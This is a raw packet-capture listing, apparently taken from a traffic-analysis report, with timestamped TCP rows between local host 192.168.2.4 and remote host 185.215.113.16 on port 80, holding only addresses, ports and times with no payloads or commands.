Oct 31, 2024 05:07:11.887568951 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:11.887573957 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:11.887588024 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:11.887615919 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:11.887774944 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:11.887787104 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:11.887798071 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:11.887815952 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:11.887842894 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:11.887861013 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:11.887872934 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:11.887900114 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:11.887911081 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:11.887917042 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:11.887923956 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:11.887944937 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:11.887960911 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:11.887960911 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:11.887973070 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:11.887984991 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:11.887995958 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:11.888000011 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:11.888010979 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:11.888014078 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:11.888025999 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:11.888034105 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:11.888037920 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:11.888061047 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:11.888079882 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:11.888099909 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:11.888113022 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:11.888123989 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:11.888137102 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:11.888154984 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:11.888170958 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:11.888191938 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:11.888227940 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:11.888228893 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:11.888263941 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:11.888293028 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:11.888303995 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:11.888315916 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:11.888330936 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:11.888335943 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:11.888365030 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:11.888437033 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:11.888448000 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:11.888459921 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:11.888473034 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:11.888479948 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:11.888497114 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:11.888521910 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:12.004913092 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:12.004924059 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:12.004935026 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:12.004949093 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:12.004960060 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:12.004971981 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:12.004972935 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:12.004983902 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:12.004997015 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:12.005002022 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:12.005050898 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:12.005181074 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:12.005217075 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:12.005299091 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:12.005316019 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:12.005327940 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:12.005335093 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:12.005340099 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:12.005352974 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:12.005352974 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:12.005363941 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:12.005373955 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:12.005383015 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:12.005393982 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:12.005403042 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:12.005408049 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:12.005424976 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:12.005439043 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:12.005441904 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:12.005450964 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:12.005470037 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:12.005471945 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:12.005481958 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:12.005489111 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:12.005492926 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:12.005507946 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:12.005508900 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:12.005518913 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:12.005527020 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:12.005536079 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:12.005549908 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:12.005553961 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:12.005562067 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:12.005573034 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:12.005575895 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:12.005588055 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:12.005599022 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:12.005599976 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:12.005630970 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:12.005652905 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:12.005662918 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:12.005675077 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:12.005685091 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:12.005696058 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:12.005707979 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:12.005712032 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:12.005714893 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:12.005723000 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:12.005733013 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:12.005750895 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:12.005769968 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:12.005795956 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:12.005805969 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:12.005817890 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:12.005834103 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:12.005860090 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:12.005903959 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:12.005914927 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:12.005927086 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:12.005937099 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:12.005939007 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:12.005953074 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:12.005958080 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:12.005964041 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:12.005987883 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:12.005990028 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:12.006000996 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:12.006007910 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:12.006026030 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:12.006035089 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:12.006038904 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:12.006059885 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:12.006084919 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:12.006100893 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:12.006110907 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:12.006129026 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:12.006131887 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:12.006141901 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:12.006149054 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:12.006159067 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:12.006166935 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:12.006170034 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:12.006184101 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:12.006184101 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:12.006196976 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:12.006203890 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:12.006232977 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:12.006247044 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:12.006278992 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:12.006313086 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:12.006324053 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:12.006335974 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:12.006345987 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:12.006346941 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:12.006364107 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:12.006396055 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:12.006424904 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:12.006436110 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:12.006447077 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:12.006458998 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:12.006475925 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:12.006478071 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:12.006489038 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:12.006494999 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:12.006510019 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:12.006525993 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:12.123569012 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:12.123624086 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:12.123634100 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:12.123639107 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:12.123652935 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:12.123665094 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:12.123672009 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:12.123722076 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:12.123727083 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:12.123738050 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:12.123750925 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:12.123763084 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:12.123781919 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:12.123791933 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:12.123796940 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:12.123806000 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:12.123816967 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:12.123827934 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:12.123853922 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:12.123878956 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:12.123888969 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:12.123905897 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:12.123912096 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:12.123918056 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:12.123929977 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:12.123941898 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:12.123974085 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:12.124039888 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:12.124051094 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:12.124063015 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:12.124073029 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:12.124104977 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:12.124125004 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:12.124136925 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:12.124149084 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:12.124164104 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:12.124166965 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:12.124180079 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:12.124190092 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:12.124191999 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:12.124202967 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:12.124213934 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:12.124222040 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:12.124239922 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:12.124264956 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:12.124315977 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:12.124325991 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:12.124357939 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:12.124392986 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:12.124403000 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:12.124420881 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:12.124433041 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:12.124437094 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:12.124444962 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:12.124455929 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:12.124456882 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:12.124488115 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:12.124512911 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:12.124521971 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:12.124543905 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:12.124572039 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:12.124587059 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:12.124598026 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:12.124609947 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:12.124620914 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:12.124627113 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:12.124686003 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:12.124721050 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:12.124732971 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:12.124742985 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:12.124758005 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:12.124766111 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:12.124769926 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:12.124789000 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:12.124809027 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:12.124847889 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:12.124886036 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:12.124897957 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:12.124937057 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:12.124958038 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:12.124969006 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:12.124980927 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:12.124991894 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:12.124994993 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:12.125017881 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:12.125041962 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:12.125051022 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:12.125066996 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:12.125078917 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:12.125085115 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:12.125088930 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:12.125102997 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:12.125103951 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:12.125127077 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:12.125153065 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:12.125228882 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:12.125240088 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:12.125251055 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:12.125269890 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:12.125276089 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:12.125288010 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:12.125298977 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:12.125300884 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:12.125334024 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:12.125360012 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:12.125369072 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:12.125402927 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:12.125428915 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:12.125452042 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:12.125462055 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:12.125473022 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:12.125484943 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:12.125488043 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:12.125498056 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:12.125507116 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:12.125507116 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:12.125538111 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:12.125560999 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:12.125571966 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:12.125582933 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:12.125602961 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:12.125622988 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:12.242167950 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:12.242199898 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:12.242219925 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:12.242230892 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:12.242243052 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:12.242255926 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:12.242258072 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:12.242258072 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:12.242268085 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:12.242280960 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:12.242301941 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:12.242314100 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:12.242326021 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:12.242326975 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:12.242340088 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:12.242326021 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:12.242326021 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:12.242352962 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:12.242366076 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:12.242387056 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:12.242388010 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:12.242388010 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:12.242388964 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:12.242399931 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:12.242413998 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:12.242413044 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:12.242439985 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:12.242468119 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:12.242475033 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:12.242480993 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:12.242492914 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:12.242507935 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:12.242527008 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:12.242544889 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:12.242575884 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:12.242593050 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:12.242604017 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:12.242614985 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:12.242628098 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:12.242630005 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:12.242630005 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:12.242659092 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:12.242676020 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:12.242688894 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:12.242701054 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:12.242712021 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:12.242734909 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:12.242762089 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:12.242772102 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:12.242790937 CET	80	49803	185.215.113.16	192.168.2.4
